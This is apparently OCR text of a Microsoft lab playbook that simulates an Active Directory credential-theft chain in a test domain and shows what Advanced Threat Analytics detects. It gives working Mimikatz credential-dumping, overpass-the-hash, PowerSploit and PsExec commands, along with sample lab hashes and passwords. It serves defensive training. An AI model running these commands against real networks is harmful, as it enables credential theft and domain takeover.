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Reintroducing Credential Theft

Assume breach. These are the two words that kicked off Microsoft's Mitigating Pass-the-Hash
and Other Credential Theft' whitepaper, entirely focused on illustrating the credential theft
techniques used by malicious cyber actors. These techniques are used after the adversary has

achieved a beachhead in their victim’s environment.

Attackers are in; our perimeter is breached. Our ability, however, to detect an adversary in our
environments after they've already circumvented our defense mechanisms remains limited. The
average cost of a cyber intrusion is estimated to be around $3.8M? for an enterprise, per incident.
Why is this so expensive? Many Information Technology (IT) organizations have no post-
infiltration detection capabilities and have slow and malformed responses.

Multi-factor authentication, Smartcards, Privileged Account Management tools have been sold to
solve this problem®. These tools certainly help operationalize the environments but these
solutions don't mitigate or provide visibility into credential theft itself* In fact, many
implementations of these solutions can make the credential theft problem space even worse while
at the same time providing a false sense of security.

To make matters worse, words like “pass-the-hash” and “credential theft” have morphed into buzz
words. They have become words that many hear about, and conceptually understand, but the
vagueness that still exists around them prevents us from being able to act urgently and
immediately.

This article will turn the buzz words into something real and tangible, walking through the
credential theft attack techniques themselves, by using readily available research tools on the
Internet. At each point of the attack we will show how Microsoft's Advanced Threat Analytics
(ATA)* helps IT organizations gain visibility into these post-infiltration activities happening in their
environments.

Ignorance can no longer be bliss.

" http://aka.ms/pthv2

2 Ponemon Institute Releases 2014 Cost of Data Breach: http://www.ponemon.org/blog/ponemon-institute-
releases-2014-cost-of-data-breach-global-analysis

3 http://aka.ms/smartcardpth

4 http://aka.ms/cyberpaw

5> http://aka.ms/ata



http://aka.ms/pthv2
http://www.ponemon.org/blog/ponemon-institute-releases-2014-cost-of-data-breach-global-analysis
http://www.ponemon.org/blog/ponemon-institute-releases-2014-cost-of-data-breach-global-analysis
http://aka.ms/smartcardpth
http://aka.ms/cyberpaw
http://aka.ms/ata
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What is Advanced Threat Analytics?

Gaining visibility into the problem requires focused attention on a layer of the environment
typically not used for cybersecurity purposes: The Identity layer. Microsoft's Advanced Threat
Analytics (ATA) turns Active Directory into a powerful post-infiltration detection tool leveraging
both signature and user-and-entity-behavioral analytic techniques.

@ % @

Behavioral Detection of advanced Advanced Threat
Analytics attacks and security risks Detection

ATA will detect and alert IT of post-infiltration activities, from internal reconnaissance to
compromised credentials, including lateral movement, privilege escalation and domain
dominance.

This article will walk you through these techniques, the respective research tools to execute these
attacks yourself, and illustrate just how important getting ATA installed and configured is.
Defenders must fully understand our attackers and their tools.

This article focuses on ATA's signature-based capabilities and does not include any
advanced machine-learning user and entity behavioral detection.
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Lab Setup

We recommend following these instructions closely, including the experiments at the end. There
is some setting up to do, specifically 4 computers, 3 users and some research software to grab off
the Internet.

For help on installing ATA and getting an evaluation copy, good for 90 days, check this out:
http://aka.ms/ataeval. This guide was built for version 1.7 of ATA.

Servers and computers

The following lists the computers you will need and the configurations used in this exercise. These
are all staged as guest virtual machines (VMs) on Windows 10 Hyper-V. If you go this route, and
we recommend you do, make sure the VMs are placed in the same virtual switch.

FQDN 0OS IP Purpose
DC1.contoso.local Windows Server 2012 192.168.10.10  Domain Controller with ATA the
R2 Lightweight Gateway (LWGW)

installed

ATACenter.contoso.local Windows Server 2012 192.168.10.20 ATA Center
R2

Admin-PC.contoso.local  Windows 7 Enterprise 192.168.10.30  Admin’s PC

Victim-PC.contoso.local ~ Windows 7 Enterprise 192.168.10.31  Victim's PC

Our domain will be called "CONTOSO.LOCAL", so create the domain, then domain join these
computers and let's get rolling.

Now that all four machines up and domain joined, let's add some fictitious users to the
environment.


http://aka.ms/ataeval
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User Setup

In this exercise, you will create role separation between Helpdesk and Domain Administrators.
Unfortunately, as you will see, this isn't enough to prevent credential theft, lateral movement or
domain escalation because understanding security dependencies that transcend these two groups
across an environment is tricky.

Let's create a security group to make the separation.
Name Members Purpose

Helpdesk RonHD Manages the clients of contoso.local.

Let's create three users in the domain:

Full Name SAMAccount Purpose

Jeff Victim Jeffv The victim of yet another impressively effective spear
phishing attack

Ron HD RonHD Ron is the "go-to-guy” at Contoso’s IT shop. RonHD is
a member of the “Helpdesk” security group.

Nuck Chorris NuckC Before now, believed not to exist. At Contoso, he
happens to be our Domain Admin.

Before proceeding, ensure RonHD was added as a member to the Helpdesk Security Group.
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Nuck Chorris, our Domain Admin, uses Admin-PC. ' Administrators Properties 7 )=

The Helpdesk (that RonHD is a member of) also  Ge== |
manages NuckC computer. This can be quickly @ Adminisrators
configured via Restricted Groups®.

Administrators have complete and unrestricted access

Description:
to the computer/domain

Members:

?,: Admin

& Administrator

& Andrew

82, CONTOSO\Domain Admins
82, CONTOSO\Helpdesk

Changes to a user's group membership

Remove are not effective until the nexd time the
user logs on.
ok [ )| om

In addition, like in many IT shops, JeffV was added as

| Administrators Properties == “
an Administrator on his own device (Victim-PC). This

General l

% Administrators was done on purpose and will be explained further in
the Help Desk Simulation assumption in this article. .

Administrators have complete and unrestricted access

Description:
to the computer/domain

Members

& Admin

& Administrator

2, CONTOSO\Domain Ad
82 CONTOS0\Helpdesk

& CONTOSO\JefiV \

Changes to a user’s group membership

Remove are not effective until the next time the
user logs on.

6 https://support.microsoft.com/en-us/kb/279301


file:///C:/Users/arzinger/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/Q3U54POQ/ATA%20Playbook_v2_AZ_V2.docx%23_Helpdesk_Simulation
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Security research tools

1. To set up the lab, install these research tools on Victim-PC, in C:\tools:
o Mimikatz: https://github.com/gentilkiwi/mimikatz
o PowerSploit: https://github.com/PowerShellMafia/PowerSploit
o PsExec: https://technet.microsoft.com/en-us/pxexec
O

NetSess.exe: available at www.joeware.net/freetools

Computer » Local Disk (C:) » tools »

Include in library - Share with = Mew f

-~

Marne
. mimikatz
3 | PowerSploit-master
ces | SysinternalsSuite
B MetSess

Figure 1: On Victim-PC, this is where the research tools where placed

2. For this proof of concept, turn off all antivirus software.

These tools are for research purposes only. Microsoft does not own these tools nor can it
guarantee their behavior. These tools should only be run in a test lab environment.

Although turning off antivirus might seem like this just skewed the results, it is important to note
that the source code for these tools is freely available, which means attackers can modify it to
evade antivirus signature based detection. It is also important to note that as soon as an adversary
achieves local admin on a machine, evasion of antivirus becomes very possible. The goal at that
point is protecting the rest of the organization. One computer compromise should not lead to
domain escalation and certainly not domain compromise!

10
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Assumptions

In our example, JeffV is an admin of his own workstation. Many IT shops still have their user-
population running with admin privileges. In these scenarios, local escalation attacks aren't
necessary as the adversary already has admin access in the environment from which to perform
their post-infiltration operations.

However, even when IT shops reduce the privileges to using non-admin accounts, other forms of
attacks (such as known application vulnerabilities, 0-days and such) are executed to achieve local
privilege escalation. In this case, our assumption is simple: The adversary achieved local privilege
escalation on Victim-PC. As we will discuss below, in our fictitious lab, this was achieved via a
spearphishing email to JeffV.

Environment Topology

=
— -
Jeff Victim Victim-PC \ - Domain Controller
(Jeffv) (DC1)

~

'~ / Ron Helpdesk -
(RonHD) Py

Admm PC ATA Center

Nuck Chorris
(NuckC)

Your lab now looks something like the above. Again, we have role separation between Domain
Admins and the helpdesk, but as you will see, one security dependency linkage (sorry RonHD) is
all an adversary needs to take over the entire environment with readily available research tools.

11
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Helpdesk Simulation

To simulate a common helpdesk scenario, in which helpdesk personnel are Switch user
logged into different computers, log in with RonHD to Victim-PC and then Log off
Lock —_

log back in as JeffV. Use the “switch user” mechanism to simulate privileged

. . . Restart
credential management on this workstation. =

We could have chosen other ways to simulate this management workflow in our lab, such
as creating batch script service accounts, scheduled tasks, an RDP session or ‘runas’ in the
command line. At the end of the day, something (not always a someone) has to manage
these resources and management means local admin privileges. We chose the quickest
route to simulate this workflow.

Do not log out or restart Victim-PC as this will wipe RonHD's credentials from memory and require
re-enacting the helpdesk scenario.

Computer Credentials saved on computer

Admin-PC e NuckC

Victim-PC o JeffV
e RonHD (Caused by enacting the helpdesk
scenario)

The lab is now ready. The hard part is over—the pieces are in place and the lab is in a position
where it is one-exploit-away (#1ea) from domain compromise. As you will soon see, the single
compromise typically comes from your environment’s lowest privileged assets against the most
Internet facing applications from an adversary who just won't stop. And you have to assume a
breach took place.

12



B Microsoft

Advanced Threat Analytics Attack Simulation Playbook

Beachhead via Spearphish

In Microsoft's Security
Intelligence Report Volume
217, two different actor groups
were discussed, PROMETHIUM
and NEODYNIUM. Both of
activity groups take part in
spearphishing to gain a
foothold in their target
environments. Why?

We could have chosen
multiple scenarios to establish
this pseudo-adversary’s
command-and-control in our
lab, but we're starting with
spearphishing.

=] L 3 s Fwd: traon - Message (Plain Text) (Read-...

File Message :‘ Tell me what you want to do

Janie Lamountain

Fwd: traon

Scan_traon.doc

E 27K8

Dear traon,

You will be charged USD 2,256.14 on your Visa card soon.
View attachment for details.

Pwd to open the file is 6666

Faithfully yours!
Claudette

Figure 2: Real spear phishing Email tracked and responded to by Microsoft's
Threat Intelligence Center. Courtesy of @JohnLaTwC

The question remains—how can you gain visibility into the post-infiltration activity of the

adversary after they've achieved this beachhead? How can you gain visibility into these activities

before the larger herd is affected?

7 https://www.microsoft.com/security/sir/default.aspx

13
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Executing the attack

Now the fun begins. Its time use real-world tools and simulate the post-infiltration activities of
an adversary.

Reconnaissance

Once a human adversary gains presence in an environment, reconnaissance begins. At this phase,
the adversary spends time researching the environment: discovering settings, computers of
interest, enumerating security groups and other active directory objects of interest, etc. to paint a
picture for themselves of your environment.

DNS Reconnaissance

One of the first things many adversaries will do is to try to receive all the contents of the DNS.
ATA can detect this action.

1. Action: DNS Recon

On Victim-PC, logged in as JeffV, the PC and user whom the adversary just compromised, run the
following commands:

nslookup

ls -d contoso.local

[ Luckily, our DNS is configured to block this DNS

EX Command Prompt - nslookup

Microsoft Windows [Uersion 6.1.76011 i 1
(I;;Lr‘i;ht ((},I; ;;;H'} Hfi.::r;zg['t Corporation. All right dump agaInSt the domaln' Unfortunately'

C:\Users\jeffvins lookup though, all too often, this event gets ignored or

t ti

seconds. is lost in the network noise, preventing network

ep }-‘:} .lln Known
: 192.168.10.18

defenders from realizing that an adversary has
> lls —d contoso.local
[UnKnown : :
]( ’t: list domain contoso.local: Query refused reaChed some IeVeI Of access In thelr
ver refused to transfer the zone contoso. . .. . .
his _ j environment and is in the beginning phases of
is incorrect,. check the zone transfer security setti

DNS
server at IP address 192.168.18.18. a more targeted attack.

>

ATA helps detect this and bring it to light (as it
Action 1: DNS recon does with all post-infiltration activity). Since

ATA continuously parses your DNS traffic, it can
see the dump request, whether it is successful or not. It even gives you the ability to learn from
this event in the future, in case the suspicious activity is legitimate, and coming from an approved
DNS scanning device.

14
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Look at the ATA dashboard and see what ATA tells you.

Reconnaissance using DNS

Suspicious DNS activity was observed, originating from§ VICTIM-PC Jwhich is not a DNS server) Bgainst DC1

Is running scanning tools allowed from the computer listed below?

ATA Detection: DNS Recon

The adversary, blocked from what would have been a big win for them: doing a DNS dump, turns
to other reconnaissance techniques.

Detecting failures can be just as insightful as detecting successful attacks against
an environment

Notice the blue bubble in the Suspicious Activity? ATA is constantly learning, based both on
consumed data and from the analyst. The analyst feedback helps remove benign true positives
and reduce noise over time, customizing ATA and its Suspicious Activity detections to your
environment.

Directory Services Enumeration

Security Account Manager Remote Protocol (SAMR) ¢ provides management functionality for
users and groups across a domain. Knowing the relationship between users, groups, and
privileges can be extremely important to an adversary. Any authenticated user can execute these
commands®.

8 https://msdn.microsoft.com/en-us/library/cc245477 .aspx

% For more information on SAMR settings and restricting such reconnaissance to only users who are
members of the Local Administrators Group, please refer to:
https://gallery.technet.microsoft.com/SAMRIi10-Hardening-Remote-48d94b5b#content

15
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Enumerate all users and groups

Enumerating users and groups is very useful to an adversary. Knowing usernames and the names
of groups can come handy. As an attacker, you want to grab as much as you can, after all, this is
the reconnaissance phase.

2. Action: Enumerate users and groups

Use the compromised JeffV account, logged onto Victim-PC, and try to pull all the domain users
and groups by using the following commands:

net user /domain

net group /domain

C:\Usersnjeffulnet user Sdomain That was too easy. These are operations

The request will be processed at a domain controller for

performed with legitimate credentials! The

User accounts for “\\DC1l.Contoso.local

attacker now knows all the users and groups in

Administrator ataservice Guest . , . .
ot £U krbtgt iRl the environment. What's worse, without ATA, this
I'he command completed successtully. .

action would probably go

IC:\Users\jeffuvPnet qrouy amain
The request will be proc 2d at a domain controller for domain Contoso.local.

unnoticed.

IGroup Accounts for “\\DCl.Contoso.local

*Cloneabhle Domain Controllers
*DnsUpdateProxy

*Domain i

*Domain C

2= Read-only Domain Controllers
icy Creator Ouners

*Lah He lpdesk

*Protected Users

#*Read—only Domain Controllers
*Schema Admins

The command completed successfully.

Action 2: Enumeration of all users and groups

Let's see what ATA detected. Head over to the ATA dashboard and look:

Reconnaissance using directory services enumeration

he followina director [ nUIMmaratios na SAMR ¢ $ ver stemnted . 1o DTN P
e V ] dire y Services enumera S US ] SAMK | were attempted aga —1; | vi-F

()

ATA Detection: ATA detecting directory services enumeration

Not only did ATA detect the attack, but it also displays the data the attacker got ahold of.

16
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Enumerate high privileged accounts

The attacker now holds both the user list and the group list. But knowing who is in which group
is also important, specifically for highly privileged groups such as “Enterprise Admins” and
“Domain Admins”. Let's do just that...

3. Action: Enumerate Domain Admins

Run the following command, on Victim-PC as JeffV:

net group “domain admins” /domain

C:\Users\jeffupnet group "domain admins' /domain
The request will be processed at a domain controller for domain Contoso.local.

Group name Domain Admins
Comment Designated administrators of the domain

Members

Administrator Nuc kC
IThe command completed successiully.

C:\Userssjeffv>uhoami
contoso\jeffv

Action 3: Enumeration of Domain Admins

The attacker now has all the users and groups, and knows which users belong to the highly
privileged “Domain Admins” group.

The attacker won't stop there, they know there is no security boundary between Enterprise Admins
and Domain admins'®, so they'll grab the Enterprise Admins list as well.

4. Action: Enumerate Enterprise Admins

To grab the members of this Enterprise Admins group, run the following command on Victim-PC:

| net group “enterprise admins” /domain

IC:\Usersnjeffulnet group “enterprise admins' Adomain
The request will e processed at a domain concroller for domain Contoso.local.

Group name Enterprise Admins
Designated administrators of the enterprise

Administrator
IThe command completed successfully.

Action 4: Enumerate Enterprise Admins

1% For more information on security boundaries between Forests and Domains, Enterprise Admins and
Domain Admins, and other “Tier-0"-level privileges, please refer to: http://www.aka.ms/tierQ

17
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There is a single account in the Enterprise Admins group—not exactly interesting since it is just
the default, but the attacker has that much more knowledge into your accounts and has identified
which user they most want to compromise.

SMB Session Enumeration

The attacker knows who they would love to compromise to get the most credentials but they
don't exactly know how to compromise those credentials, right? SMB enumeration can provide a
precise location for where these highly interesting accounts are exposed.

All authenticated users must connect to the domain controller to process Group Policy (against
the SYSVOL) making SMB Enumeration a valuable tool for attackers. This makes domain
controllers prime targets to perform SMB Enumeration against.

Here you will use the first research tool pulled from the Internet, NetSess. NetSess is a command
line tool to enumerate NetBIOS sessions on a specified local or remote machine. You, of course,
will use it against the domain controller in your lab.

5. Action: Perform SMB Session Enumeration against the DC

To enumerate who's connected to a specific machine, in this case the DC, on Victim-PC, go to the
location where NetSess is saved locally and run the following command:

NetSess.exe dcl.contoso.local

c :“tools]JNetSess.exe dcl.contoso.local

NetSess UB2.00.08cpp Joe Richards (joelPjoeware.net) January 2004

Enumerating Host: dclg®Ontoso.local

Client User Name ime Idle Time

NSN\N192.168.10.30 NuckC gAA:00:14 ©BHA:00:14
NSNN122.168.10.31 JeffU PP9:00:00 ©VOA:00:00

Total of 2 entries enumerated
Action 5: SMB Enumeration against the DC
We already know that NuckC is a Domain Admin. You now know the IP address of NuckC
(192.168.10.30).

This kind of reconnaissance is hard to detect with firewalls—SMB protocol is how IT shops work
and a protocol that Active Directory relies on. However, with ATA, not only can this SMB Session
Enumeration be detected, but an alert will notify you as to which accounts were exposed.

18
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Reconnaissance using SMB Session Enumeration
SMB session enumeration attempts were successfully performed by{JeH Vict m]fron‘l VIC"M-PClagamsi DC1 Iexpcsmg 2 accounts.

Session Enumeration

‘- = A

Exposed Accounts

ATA Detection: Detecting SMB Enumeration

ATA allows you to get the same relevant data that the attacker did—it identifies the source
account, the source computer, as well as the exposed accounts and the IP addresses at the time
of adversary enumeration.

The more data you have, the better prepared you are to respond to attacks.

Lateral Movement

In just the few steps you took, you were already able to gain a lot of information. At this point,
the goal becomes getting to the IP address you discovered: 192.168.10.30 (where NuckC's
computer credentials are exposed).

Enumerate Credentials In-Memory

Victim-PC isn't just exposed to JeffV's credentials, there are many other accounts that might be
useful to an attacker to discover. Let's enumerate those in-memory credentials on Victim-PC.
Luckily, there is a tool for that: Mimikatz.

6. Action: Dump credentials from Victim-PC

From an elevated command prompt on Victim-PC, go to the tools folder where Mimikatz is saved
and execute the following command:

72\

| mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords exit” >> c:\temp\victim-pc.txt

19
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-

B Administrator: C:\Windows'\system32\cmd.exe = |[=E @

atz\Win32>wvhoami

m

Action 6: Dump credentials from Victim-PC

The above command will execute Mimikatz which will then harvest credentials in-memory. The
tool will write this into a text file named "victim-pc.txt".

Open the file "victim-pc.txt” to see what you can find.
7. Action: Parse through Mimikatz’'s credential dump output

Open the file, “victim-pc.txt” in notepad. Your file will look different as different passwords were

used, potentially different operating systems with default settings on/off, so don’t be alarmed if
it doesn’t look exactly like this example.

wthentication Id : 0 ; 996 (00000000:000003e4)

= 2 e -- i it S - . jession : Service from 0
ession : phatecactive from 1 jser Name . VICTIM-PCS
;2;1:‘“9 X % omain : CONTOSO
ogon Server : oc1 ogon Server ¢ (nul1)
ogon Time : 12/19/2016 3:13:47 PM ogon Time : 12/19/2016 3:12:16 PM
10 1 §-1-5-21-1384478862-1549519030-2974249381-1107 ID ¢ §-1-5-20
& msv :

SV
[00000003] Primary

[00000003] Prj
* username : Jeffv

* pomain : CONTOSO * Username

. LM s geacargog 220026 23boc * pomain

. NTLM * NTLM :1e9e7d223378300b969dcdb0bd0696ee

* SHAl : "pEeEE g geTEs * SHAl 1 aZs198b8 8CT446 8457365Td50€e7285e091
tspkg : tspkg :

* username : Jeffv wdigest :

* Domain  : CONIQSQ v * Username : VICTIM-PCS

S assord * pomain  : CONTOSO

wdigest - o . - ™ 7 Al s s
<ot e A s kerggig\;or_d : LOP[VZ-e1"]T7VY, $Abz1gp [y@E1#: dvo+4KdSy
* Domain : CONTOSO P e . . :

* password : PasswordS$fun Username : victim-pc$

kerberos : * pomain : CONTOSO. LOCAL

* username : Jeffv * password : LOP[vZ-el"]T7vY, $Abz1gp [y@EI#:dvO+4KdSy=
* pomain : CONTOSO. LOCAL ssp :

* password : PasswordS$fun .

ssp _: N ———

Action 7: Review the Mimikatz credential dump file
The attacker found JeffV's credentials, which will allow them to masquerade as JeffV.
The attacker also found the computer account, which, like a user account, can be added to other

computers’ Local Admin Group and other highly privileged Security Groups. That isn't useful in

this scenario but you should always remember that Computer Accounts can map to privileges
elsewhere as well.
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as Mi ft
— icroso
AULNENTICATION 10 @ U ; 3££38Z (UUUUUUUU:IUUUEECLD)
session : Interactive from 2
user Name : ronhd
pomain : CONTOSO
Logon Server H > o |
Logon Time : 12/19/2016 4:43:35 PM
SID ¢ 5-1-5-21-1384478862-1549519030-2974249381-1112

msv

orname
*“Pbomain

+ CONTOS0
- o 02 Z8520aba0d8a ad £a
*ONTLM 1 96def1a6337¢6790124d5T8Te21cc72b
SHA y YEETHTEYS 3 ¥¥97cla2d
tspkg :
* uUsername : RONHD
* pomain : CONTOSO
* password : FightingTigers$
wdigest :
* Username : RONHD
* pomain : CONTOSO
* password : FightingTiger$
kerberos :
* Username : RONHD
* pomain : CONTOSO. LOCAL
* password : FightingTiger$
ssp

Fradman

RonHD account is now compromised.

Advanced Threat Analytics Attack Simulation Playbook

The attacker also discovered a potentially
interesting account, RonHD. Remember that
RonHD was logged on to Victim-PC during
the setup phase. That credential was exposed
to the LSA process in-memory at that time,
which Mimikatz just gave the attacker visibility
to. RonHD wasn't listed when you
enumerated against users in Domain Admins
or Enterprise Admins, but remember that you

now have access to his credentials.

It is also worth noting that in some cases, this Mimikatz dump might reveal plaintext passwords,
when the environment is not updated or not configured to prevent WDigest. An up-to-date
environment, following best practices, will return an empty Password field."

Finally, before you use RonHD's account let's see if it's even of any value. Let's do some recon

against that account.

8. Action: Perform recon against the RonHD account

From the command line of Victim-PC, execute the following:

| net user ronhd /domain

User name

»’s comment

Account active
Account expires

last set
expires
changeabhle
regquired

change password

Password
13 vd

Morkstations allowed
Logon script

User profile

Home directory

Last logon

Logon hours allowed

Local Group Memberships
Global Group membershi

RonHD
Hon HUD

088 (S
Yes
Never
12/19/
Never
12,28/
Yes
Yes

All

12719/
All

*He 1pd

ystem Default)>

2816 2:89:56 PM

2816 2:89:56 PM

2016 4:43:35 PM

esk *Domain Users

Action 8: Learn about RonHD

" For more information on WDigest, please refer to:
https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/
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The attacker will learn that RonHD is a member of the Helpdesk. RonHD's account just became
interesting to the attacker. However, further more analysis is needed to see if the account has
admin privileges on other computers. After all, it would make little sense to use it to laterally move
to another computer only to discover that it has lower privileges than what the attacker already
has.

9. Action: Enumerate a remote computer’'s memberships

Here is where you turn to PowerSploit, a series of PowerShell modules used by penetration
testers. Open a PowerShell session and traverse to the location where PowerSploit is saved locally
on Victim-PC. In the PowerShell console, execute:

Import-Module .\PowerSploit.psml
Get-NetLocalGroup 192.168.10.30

In the first line, you import the PowerSploit module into memory and in the second line you
execute one of the provided functions provided by that module, in this case, Get-NetLocalGroup.

PS C:\tools\PowerSploit—master>| Import—Module _“PowerSploit.psml
PS C:\tools\PowerSploit—master>| Get—NetLocalGroup 192.168.16.38

ComputerName : 192.168.10.38
AccountName : Admin—-PC/Administrator
IsDomain : False
IsGroup : False
SID : §-1-5-21-257278871-428017807'71-1839282192-500
i i : Built—in account for administering the computer/domain

: 11-28-2018 4:56:34 PM

: False |I4fromISMEB]
: Frue. Session]

: True

: 11,28-2010 4:48:12 PM m

= 192 168 _1A_3A

] Admin—PC/Admin

=" False

: False

: §-1-5-21-2572788071-420178007'71-1839282192-1000

= 12,15-2016 1:58:59 AM
: False

: 66881

: Pal

se
= 12-15-2816 7:81:89 PH

: 192.168.160.30
:fLontoso.local/Vomain Hdmins
: Irue

: True

: §-1-5-21-1384478862-15495196038-2974249381-512

: 192 1A8 1A 1A

1| Contoso.localsHelpdesk

: ITrue

: True

: 8§-1-5-21-1384478862-1549519030-2974249381-1115

Action 9: Remote local group membership against 192.168.10.30 via PowerSploit
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Again, 192.168.10.30 is the discovered IP address from the SMB Enumeration phase (page 18 of

this document).
The attacker just found the following:

e 192.168.10.30 is connected to Admin-PC (we resolved the IP address to a computer name
via PowerSploit as well)

e “Contoso.local/Domain Admins” and “Contoso.local/Helpdesk” are members of the
Administrators Group

RonHD is a member of the Helpdesk group, therefore RonHD can give the attacker Admin
privileges on Admin-PC (where the attacker knows NuckC is, from earlier reconnaissance).

The attacker used this graph-like thinking is to discover relationships in the network. This kind of
mentality is something that defenders need to adopt to handle new threats to enterprise
networks.

This is all great, but how do you use RonHD to laterally move?

OverPass-the-Hash

If the attacker is in an environment that did not disable WDigest, it is already game over as they
have the plaintext password. But, in the spirit of learning, let's make it harder and assume you do
not know/have access to the plaintext password.

NOTE: This is a good time to take a minute and make sure your IT department has disabled
WDigest'? .

So, with just access to the NTLM hash of RonHD, what can you do?

Using a technique called Overpass-the-Hash you can take the NTLM hash and use it to obtain a
Ticket Granting Ticket (TGT) via Kerberos\Active Directory. With a TGT you can masquerade as
RonHD and access any domain resource that RonHD has access to.

10. Action: Perform Overpass-the-hash attack against RonHD

Here you will be using Mimikatz again. Copy RonHD's NTLM hash from victim-pc.txt, harvested
earlier (from "Action: Dump credentials from Victim-PC" on page 19).

On Victim-PC, go to the location where Mimikatz is stored on the filesystem and execute the
following commands:

2 https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997 -and-wdigest-part-1/
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Mimikatz.exe “privilege: :debug” “sekurlsa::pth /user :RonHD /ntlm: [ntlm hash]
/domain:contoso.local” “exit”

Replace the [ntlm hash] with the pasted NTLM value from victim-pc.txt.

c:\tools\mimikatzeN\WindZ mimikatz.exe privilege::debuyg
HD /ntlm:96defl1ab33fc6790124d5f8fe21cc?72b /domain:contoso. locar

Jp i35 mimikatz 2.1 (x86> built on Nov 26 2016 B2:28:17
it~ ##. A La Vie,. A L’'Amour"
o2 N B e %
i~ 7 Benjamin DELPY ‘gentilkiwi® ¢ benjamin@gentilkiwi.com >
‘Hit v HE http:/sblog.gentilkivi.comn/mnimikatz {(oe.eo?
P HHHEg with 28 modules = * »*/

mimikatz{commandline) # privilege::debug
Privilege ’'28°’ OK

mimikatz{(commandline? # sekurlsa::pth suser:RonHD /ntlm:%6def1a633fc6790124d5f8f
e21lcc?2b sdomain:contoso.local

RonHD

contoso.local

cnd.exe

no
96defl1ab33fcb?90124d5f8fe21cc?2hb
2268

TID 2236

LSA Process is now R/Y

LUID 8 ; 92258160 <(POBO0NBMO:PABel1d52)

msvl_@ — data copy P A85D8284 : OK ?

kerberos — data copy B B12EAFF8

aes256_hmac =2 null

aes128 hmac => null

rc4_hmac_nt OK

rc4_hmac_old OK

rcd_md4 OK

rc4_hmac_nt_exp OK

rc4_hmac_old_exp OK

*Password replace -7 null

NSNS

Action 10: Overpass-the-hash against RonHD

A new command prompt session opens. This new command prompt injected RonHD's credentials
into it!

Let's validate this and see if you can read the contents of the C$ of the Admin-PC, something JeffV
the user should not be able to do at all.

11. Action: Read Admin-PC’'s C$ with RonHD's credential

From the new command prompt, run the following command:

| dir \\admin-pc\c$

C:\Windows\system32pdir “\\admin—pc\c$

Uolume in drive \\admin-pc~cy has no label.
Uolume Serial Number is AB6A-3B76
Directory of “Nadmin-pcic$

067182009 G4:42 24 autoexec.bat

B6/10/2009 04:42 18 config.sys
a?-,13-,2889 @9:37 <DIR> Perflogs
4112811 @A8:34 <DIR> Program Files
12/15/2816 @6:02 <DIR> Users
12/15/2816 @7:84 <{DIR> Windows

2 File<(s> 34 bytes

4 Dirs> 129.0821.943.888 bytes free

Action 11: Read contents of C$ of Admin-PC
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Yep, you have access to the C drive of Admin-PC!

Now, let’s just drill the point home. Let's validate that the new command-prompt you have open
injected RonHD's ticket and you didn't just misconfigure JeffV to have read rights.

12. Action: Inspect tickets in Overpass-the-hash command prompt

From the new command prompt that opened from the Overpass-the-hash attack, execute the
following:

| klist

C:\Windows\system32>klist
Current Logonld is B:Bxeld52
Cached Tickets: (2)

o> Client: RonHD & CONTOSO LOCAL
server: Krbtgt/GUNIOS0.LOCAL & CONIOSU.LOGAL

KerbTicket Encryption Type: AES-256-CIS-HMAC-SHA1-96

11CKeL Flags UxXadelddddy 7 foruwardable renecwable inicial pre,authenc nam
e_canonicalize

Start Time: 12-/19-/20816 22:22:28 <(local>

End Time: 12-28-,2816 8:22:28 (local>

Renew Time: 12/26-2016 22:22:28 (local>

Session Key Type: RSADSI RC4-HMACCNI>

Action 12: Kerberos tickets in the cmd prompt

Yep, you are acting as RonHD in this command prompt which validates that you used his
legitimate credential to gain access to his own Admin-PC!

i:‘ HO :i:{:?“ ,%Jtﬁ;”ti;{i' orf VICTIM szf;"iiif‘Lf:f:;",T,:Ja:ﬁ:t::t mplementation. This may be a result of

ATA Detection: Unusual protocol implementation

So, what does ATA see when all this happens? Because Overpass-the-hash uses NTLM, and thus
RC4, it shows up as an “unusual protocol implementation”. Thus, from the defender’s perspective,
you will learn that on Victim-PC, RonHD’s account successfully authenticated against our domain
controller. You could then start our investigation.
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Domain Escalation

The attacker now has access to Admin-PC, a computer that from earlier reconnaissance was
identified as a good attack vector to compromise the high privileged account NuckC. The attacker
now wants to move into Admin-PC, escalating their privileges within the domain.

Harvest Credentials

Performing a Pass-the-Hash attack will allow us to move to Admin-PC. You will need to move
attacker tools to it however, first, specifically Mimikatz and PsExec.

13. Action: Execute Mimikatz against Admin-PC

From the new command prompt, running in the context of RonHD, go to the part of the filesystem
where Mimikatz is located from that library. Run the following commands:

| xcopy mimikatz \\admin-pc\c$\temp

Next, execute MimiKatz remotely to export all Kerberos tickets from Admin-PC:

psexec.exe \\admin-pc -accepteula cmd /c (cd c:\temp "& mimikatz.exe “privilege::debug”
“sekurlsa::tickets /export” "& “exit”)

Copy these tickets back to Victim-PC:

I xcopy \\admin-pc\c$\temp c:\temp\tickets
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What just happened?

The attacker successfully copied the Mimikatz tool over to Admin-PC.

c :\tools\mimikatz\Win32Pxcopy “\Nadmin—-pcihcSN\temp c:\tempitickets\
\\admin—peiNcé\temp\niniKate . € xe

\Nadmin—pcScéStemp\[0;1920c 1-8-0-48a50000-NuckC@c ifs—dcl.contoso.local.kirbhi
\Nadmnin—pc\cS\temp\[0;19208c 1-8-1-40a50000—-NuckCPldap—dcl .contoso.local.kirbhi
NNadmnin—peNcS\temp\[0;1920c 1-0-2-40a50000—-Nuc kCELDAP-DC1 .Contoso. local.kirbhi
\Nadmin—pci\céS\temp\[0;1920c 1-2-8-60a10000-Nuc kCekrht gt —CONT0S0.LOCAL . kirbhi
NNadmin—peSNcéStemp\[0;1920c 1-2—-1-40e100BB-Nuc kCPkrht gt —CONT0S0.LOCAL . kirbi
\Nadmin—pcScSS\temp\[0;1922h1-0-0-48a50000-Nuc kCELDAP-DC1 .Contoso.local.kirhi
N\admin—pe\cS\temp\[0;1922h1-0-1-40a10000-NuckC@c if s—plaxserver.Contoso.local.k
rhi

\Nadmin—pcScéstemp\[0;1922h1-2-0-40e10000-Nuc kCekrht gt —CONT0S0.LOCAL . kirbhi
NNadmin—pcScéstemp\[0;3e41-8-0-40a50000—-ADMIN-PC5Bcifs—dcl.contoso.local.kirbhi
N\admin—pc\cé\temp\[0;3e4]1-8-1-480a50000—ADMIN-PC5@1ldap—DC1 .Contoso.local.kirbhi
\Nadmnin—-pec\cSitemp\[0;3e41-2-0-60a10800—ADMIN-PC5@krhtgt—CONT0S0.LOCAL . kirbhi
